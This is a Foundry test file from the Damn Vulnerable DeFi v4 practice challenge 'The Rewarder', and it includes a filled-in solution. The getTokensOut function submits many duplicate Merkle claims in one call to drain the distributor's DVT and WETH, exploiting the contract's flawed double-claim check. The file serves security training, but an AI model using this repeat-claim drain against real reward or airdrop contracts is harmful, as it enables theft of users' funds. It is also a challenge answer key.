-
Notifications
You must be signed in to change notification settings - Fork 115
/
TheRewarder.t.sol
244 lines (200 loc) · 9.26 KB
/
TheRewarder.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {Merkle} from "murky/Merkle.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {TheRewarderDistributor, IERC20, Distribution, Claim} from "../../src/the-rewarder/TheRewarderDistributor.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
contract TheRewarderChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address alice = makeAddr("alice");
address recovery = makeAddr("recovery");
uint256 constant BENEFICIARIES_AMOUNT = 1000;
uint256 constant TOTAL_DVT_DISTRIBUTION_AMOUNT = 10 ether;
uint256 constant TOTAL_WETH_DISTRIBUTION_AMOUNT = 1 ether;
// Alice is the address at index 2 in the distribution files
uint256 constant ALICE_DVT_CLAIM_AMOUNT = 2502024387994809;
uint256 constant ALICE_WETH_CLAIM_AMOUNT = 228382988128225;
TheRewarderDistributor distributor;
// Instance of Murky's contract to handle Merkle roots, proofs, etc.
Merkle merkle;
// Distribution data for Damn Valuable Token (DVT)
DamnValuableToken dvt;
bytes32 dvtRoot;
// Distribution data for WETH
WETH weth;
bytes32 wethRoot;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy tokens to be distributed
dvt = new DamnValuableToken();
weth = new WETH();
weth.deposit{value: TOTAL_WETH_DISTRIBUTION_AMOUNT}();
// Calculate roots for DVT and WETH distributions
bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
merkle = new Merkle();
dvtRoot = merkle.getRoot(dvtLeaves);
wethRoot = merkle.getRoot(wethLeaves);
// Deploy distributor
distributor = new TheRewarderDistributor();
// Create DVT distribution
dvt.approve(address(distributor), TOTAL_DVT_DISTRIBUTION_AMOUNT);
distributor.createDistribution({
token: IERC20(address(dvt)),
newRoot: dvtRoot,
amount: TOTAL_DVT_DISTRIBUTION_AMOUNT
});
// Create WETH distribution
weth.approve(address(distributor), TOTAL_WETH_DISTRIBUTION_AMOUNT);
distributor.createDistribution({
token: IERC20(address(weth)),
newRoot: wethRoot,
amount: TOTAL_WETH_DISTRIBUTION_AMOUNT
});
// Let's claim rewards for Alice.
// Set DVT and WETH as tokens to claim
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
// Create Alice's claims
Claim[] memory claims = new Claim[](2);
// First, the DVT claim
claims[0] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: ALICE_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 2) // Alice's address is at index 2
});
// And then, the WETH claim
claims[1] = Claim({
batchNumber: 0, // claim corresponds to first WETH batch
amount: ALICE_WETH_CLAIM_AMOUNT,
tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 2) // Alice's address is at index 2
});
// Alice claims once
vm.startPrank(alice);
distributor.claimRewards({inputClaims: claims, inputTokens: tokensToClaim});
// Alice cannot claim twice
vm.expectRevert(TheRewarderDistributor.AlreadyClaimed.selector);
distributor.claimRewards({inputClaims: claims, inputTokens: tokensToClaim});
vm.stopPrank(); // stop alice prank
vm.stopPrank(); // stop deployer prank
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
// Deployer owns distributor
assertEq(distributor.owner(), deployer);
// Batches created with expected roots
assertEq(distributor.getNextBatchNumber(address(dvt)), 1);
assertEq(distributor.getRoot(address(dvt), 0), dvtRoot);
assertEq(distributor.getNextBatchNumber(address(weth)), 1);
assertEq(distributor.getRoot(address(weth), 0), wethRoot);
// Alice claimed tokens
assertEq(dvt.balanceOf(alice), ALICE_DVT_CLAIM_AMOUNT);
assertEq(weth.balanceOf(alice), ALICE_WETH_CLAIM_AMOUNT);
// After Alice's claim, distributor still has enough tokens to distribute
uint256 expectedDVTLeft = TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT;
assertEq(dvt.balanceOf(address(distributor)), expectedDVTLeft);
assertEq(distributor.getRemaining(address(dvt)), expectedDVTLeft);
uint256 expectedWETHLeft = TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT;
assertEq(weth.balanceOf(address(distributor)), expectedWETHLeft);
assertEq(distributor.getRemaining(address(weth)), expectedWETHLeft);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_theRewarder() public checkSolvedByPlayer {
getTokensOut();
transferTokensToRecovery();
}
function transferTokensToRecovery() internal {
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
function getTokensOut() internal {
console.log("player address:", player);
console.log("Alice address:", alice);
uint256 WETH_CLAIMABLE = 1171088749244340;
uint256 DVT_CLAIMABLE = 11524763827831882;
bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
merkle = new Merkle();
dvtRoot = merkle.getRoot(dvtLeaves);
wethRoot = merkle.getRoot(wethLeaves);
// Set DVT and WETH as tokens to claim
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
// Create player's claims
uint256 NUM_DVT_CLAIMS = TOTAL_DVT_DISTRIBUTION_AMOUNT / DVT_CLAIMABLE;
uint256 NUM_WETH_CLAIMS = TOTAL_WETH_DISTRIBUTION_AMOUNT / WETH_CLAIMABLE;
Claim[] memory claims = new Claim[](NUM_DVT_CLAIMS+NUM_WETH_CLAIMS);
// First, the DVT claim
for (uint256 i = 0; i < NUM_DVT_CLAIMS; i++) {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: DVT_CLAIMABLE,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 188) // player's address is at index 188
});
}
// And then, the WETH claim
for (uint256 i = NUM_DVT_CLAIMS; i < NUM_DVT_CLAIMS+NUM_WETH_CLAIMS; i++) {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first WETH batch
amount: WETH_CLAIMABLE,
tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 188) // player's address is at index 188
});
}
distributor.claimRewards({inputClaims: claims, inputTokens: tokensToClaim});
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player saved as much funds as possible, perhaps leaving some dust
assertLt(dvt.balanceOf(address(distributor)), 1e16, "Too much DVT in distributor");
assertLt(weth.balanceOf(address(distributor)), 1e15, "Too much WETH in distributor");
// All funds sent to the designated recovery account
assertEq(
dvt.balanceOf(recovery),
TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT - dvt.balanceOf(address(distributor)),
"Not enough DVT in recovery account"
);
assertEq(
weth.balanceOf(recovery),
TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT - weth.balanceOf(address(distributor)),
"Not enough WETH in recovery account"
);
}
struct Reward {
address beneficiary;
uint256 amount;
}
// Utility function to read rewards file and load it into an array of leaves
function _loadRewards(string memory path) private view returns (bytes32[] memory leaves) {
Reward[] memory rewards =
abi.decode(vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), path))), (Reward[]));
assertEq(rewards.length, BENEFICIARIES_AMOUNT);
leaves = new bytes32[](BENEFICIARIES_AMOUNT);
for (uint256 i = 0; i < BENEFICIARIES_AMOUNT; i++) {
leaves[i] = keccak256(abi.encodePacked(rewards[i].beneficiary, rewards[i].amount));
}
}
}